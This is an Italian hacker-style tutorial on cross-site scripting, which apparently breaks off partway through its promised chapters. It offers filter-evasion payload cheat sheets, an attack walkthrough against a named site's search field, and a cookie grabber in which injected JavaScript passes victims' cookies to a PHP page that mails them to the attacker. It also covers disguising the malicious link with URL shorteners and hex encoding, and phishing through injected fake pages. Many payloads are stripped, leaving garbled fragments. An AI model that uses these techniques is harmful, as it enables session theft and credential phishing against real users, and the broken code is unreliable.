.____________________________________.
|+----------------------------------+|
|| --//XSS:Cross Site Scripting//-- ||
|| [!] ||
|| c0de by ||
|| XaDoS & MassaKretor ||
|+----------------------------------+|
*^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^*
[!]Indice:
1. Cosa sono le XSS
2. Come utilizzarle + cheats
3. Analisi di un attacco
4. Come eludere i filtri
5. Sfruttare le XSS con un Cookie Grabber
6. Offuscamento dell'url
7. XSS non Sfruttabili
8. Altri tipi di XSS
9. Eseguire Codice Remoto
10. XSS W0rm
11. JavaScript Shell: inniettare una Backdoor tramite XSS
12. SQL + XSS =... le XFS
13. CSRF o XSRF: Cross Site Request Forgery / Sea Surf
14. Post_fazione + ringraziamenti
//Start-0x01\\
[+]Cosa Sono
Le vulnerabilit‡ di tipo Cross Site Scripting ( XSS ) sono vulnerabilit‡ che affliggono
davvero una mole di siti web dinamici e fanno parte della famiglia dei Code Injection.
Le XSS non sono nient'altro che una modifica dei parametri HTTP GET e HTTP POST attraverso
l'esecuzione di codice Javascript a livello di url, inserito opportunamente in una variabile
o pi˘.
[+] How To: Come Utilizzarle
In se scoprire un' XSS non Ë un'impresa difficile, e per sfruttarla basta semplice codice
javascript... L'esempio pi˘ comune Ë il classico:
">
Analizziamolo:
"> non fa altro che chiudere il tag della richiesta.
invece comprede il codice javascript da eseguire, in questo caso
alert('prova') che a sua volta non fa altro che far apparire a schermo un Alert con scritto
'prova'.
Se vedete apparire l'alert, vuol dire che siete in grado di inserire codice javascript e che
il sito non filtra bene le richieste, insomma: Ë vulnerabile. Vediamo se Ë possibile
visualizzare i nostri Cookie in un Alert:
">
Se nell'alert appaiono i nostri cookie allora vuol dire che il sito Ë completamente
vulnerabile, cioË possiamo indurre il browser a fare tra le pi˘ svariate operazioni, ad
esempio salvare i Cookie stampati a schermo su un nostro spazio web, oppure creare una
codice che redirecti la vittima su un sito scelto da noi.
Tutto questo nel migliore dei casi, altrimenti basta analizzare l'url e modificare
leggermente il nostro codice Javascript, inserendo al posto della normale stringa
altro tipo di codice, esistono centinaia di cheat sheet su internet, qui
riporto le pi˘ aggiornate ed usate:
ipt>alert('XSS');ipt>
echo('alert(\"XSS\")'); ?>
">
">
</textarea>
'); alert('XSS
[url=javascript:alert('XSS');]click me[/url]
>
window.alert("Bonjour !");
XSS
perl -e 'print \"alert(\"XSS\")\";' > out
perl -e 'print \"\";' > out
alert(1)
">
[color=red width=expression(alert(123))][color]
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
">
'">
</textarea>'">
'"">
<<<
'>
'>">
}
a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
='>
>
">/XaDoS/>
data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
[+]Analisi di un attacco
Il sito www.caziotio.it ha un campo search, proviamo a cercare il nostro codice javascript e
l'url generato dovrebbe essere cosÃ:
http://www.caziotio.it/default.asp?rif=1&tiporicerca=2&strRicerca1=
%22%3E%3Cscript%3Ealert('prova');%3C/script%3E&strRicerca2=
&strRicerca3=&sel1=AND&sel2=AND&RicInt1=1&RicInt2=0&RicInt3=0
Vediamo che la variabile strRicerca1 contiene il nostro codice. Proviamo a Passarlo
direttamente e togliere le parti superflue:
http:www.caziotio.it/default.asp?rif=1&tiporicerca=2&str
Ricerca1=">
Ecco che ìForseî vedremo i nostri cookie apparire a schermo.
[+]Come Eludere I Filtri
Molte volte i fitltri si occupano semplicemente di cancellare o alterare, se presenti,
determinati simboli o parole, tipo chessÚ aggiungere uno ì/ ì se il primo carattere Ë ì<î,
oppure altri metodi non molto efficaci e facilmente oltrepassabili.
Il metodo pi˘ classico per eludere certi filtri Ë chiudere il tag, aggiungendo ì> prima del
codice da eseguire.
Molte molte invece ci si trova davanti ad un filtro creato con una semplice stringa del
tipo:
$var = str_replace ("
o
Come detto sopra ci sono moltissime cheat sheet su internet e poi basta imparare il
javascript e con poche modifiche si riescono ad eludere filtri apparentemente impossibili,
dipende tutto da voi e dalla vostra fantasia.
[+]Sfruttare XSS Con Un Cookie Grabber
Indubbiamente il metodo pi˘ usato e il pi˘ ìefficaceî.
Consiste nell'includere un file javascript nella variabile che viene stampata, il quale file
richiama una pagina in php che si occupa di loggare i Cookie dell'user che apre il link
appositamente preparato.
Praticamente:
Codice Javascript:
">
All'interno del file cookiescript.js ci scriveremo il codice che passa il Cookie ad una
pagina php:
Il file cookie.php invece conterr‡ il codice php che si occupa di farci recapitare il
cookie:
mail("nostra@mail.com","Ecco il cookie rubato",$_GET['cookie']; ?>
Uppato il tutto l'url sar‡ all'incirca:
http://www.caiotizio.it/default.asp?rif=1&tiporicerca=2&strRicerca1=">
[+]Offuscamento dell'url
Ora dobbiamo occuparci di come nascondere l'url sopra descritta in modo tale che un utente
normale non si accorga di nulla (molte persone non si accorgono neppure di un link con
all'interno del javascript code ben in vista,comunque noi facciamo le cose per bene)
Abbiamo diverse opzioni:
1#-- P0ssiamo nascondere l'url attraverso alcuni servizi quali tinyurl(www.tinyurl.com),che
ci permette di rendere un qualsiasi indirizzo web qualcosa del tipo:
http://tinyurl.com/2rery1
2#-- Possiamo convertire l'intera url in hex:
http://www.caiotizio.it/default.asp?rif=1&tiporicerca=2&strRicerca1=223e3c736372697074207372
633d22687474703a2f2f7777772e6e6f7374726f7369746f2e636f6d2f636f6f6b69657363726970742e6a73223e
3c2f7363726970743e
In questo modo sembrer‡ un normalissimo link.
Se L'utente aprir‡ il link e tutto va a bu0n fine vedremo nella nostra casella postale i
c00kie della vittima in questi0ne.
[+]XSS Non Sfruttabili
Alcuni siti web hanno avuto almeno la furbizia di filtrare le richieste HTTP POST ed HTTP
GET in modo da non consentire redirect e quindi furto di Cookie.
PerÚ se riusciamo comunque ad eseguire del codice esterno, possiamo tuttavia creare una
pagina web simile a quella originale ed usarla per appropiarci di password o altri dati
sensibili.
Esempio:
Pagina da includere: http://vuln.xssed.net/thirdparty/scripts/ckers.org.js
L'url del sito sar‡:
http://sitovittima.it/paginavulnerabile.php?varvuln=">
La pagina in js, se il sito non filtra, puÚ anche essere scritta in HTML, e sar‡ quindi
http://sitodelpoverocaio.it/paginavulnerabile.php?varvuln=">
In questo modo all'url creato corrisponder‡ la pagina che in js ( o HTML ) che abbiamo
incluso.
[+]Altri tipi di XSS:
CHi ha mai dett che in una xss possiamo solo inserire un testo o far comparire un alert o
giocare con i cookie..?
POssiamo fare molte altre cose come includere immagini,video,redirect e quant'altro..
Ecco qui di seguito una piccola lista di codice Javascript alternativo:
Stampare un'immagine nella pagina vulnerabile:
Visualizzare un video: